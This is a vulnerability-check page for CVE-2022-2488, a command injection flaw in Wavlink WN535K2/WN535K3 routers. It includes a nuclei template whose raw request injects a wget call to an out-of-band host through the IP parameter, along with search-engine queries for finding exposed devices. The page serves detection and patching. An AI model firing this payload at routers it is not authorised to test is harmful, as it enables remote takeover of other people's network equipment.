Wavlink WN535K2/WN535K3 - OS Command Injection

criticalseverity

9.8CVSS score

33.4%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Wavlink WN535K2 and WN535K3 routers are susceptible to OS command injection in /cgi-bin/touchlist_sync.cgi via manipulation of the argument IP. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire network.

Fix

Apply the latest firmware update provided by the vendor to mitigate this vulnerability.

How to confirm it

Send: GET /cgi-bin/touchlist_sync.cgi?IP=;wget+http://{{interactsh-url}};
Positive when: contains in interactsh_protocol "http" AND status 500

Run it with nuclei: nuclei -id CVE-2022-2488 -u <target>

The full check

id: CVE-2022-2488

info:
  name: Wavlink WN535K2/WN535K3 - OS Command Injection
  author: For3stCo1d
  severity: critical
  description: |
    Wavlink WN535K2 and WN535K3 routers are susceptible to OS command injection in /cgi-bin/touchlist_sync.cgi via manipulation of the argument IP. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire network.
  remediation: |
    Apply the latest firmware update provided by the vendor to mitigate this vulnerability.
  reference:
    - https://github.com/1angx/webray.com.cn/blob/main/Wavlink/Wavlink%20touchlist_sync.cgi.md
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2488
    - https://vuldb.com/?id.204539
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2488
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-2488
    cwe-id: CWE-78
    epss-score: 0.33411
    epss-percentile: 0.9839
    cpe: cpe:2.3:o:wavlink:wl-wn535k2_firmware:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wl-wn535k2_firmware
    shodan-query:
      - http.title:"Wi-Fi APP Login"
      - http.title:"wi-fi app login"
    fofa-query: title="wi-fi app login"
    google-query: intitle:"wi-fi app login"
  tags: cve,cve2022,iot,wavlink,router,rce,oast,vkev,vuln

http:
  - raw:
      - |
        GET /cgi-bin/touchlist_sync.cgi?IP=;wget+http://{{interactsh-url}}; HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: status
        status:
          - 500

References

Use this check only on systems you are authorised to test. Where the data comes from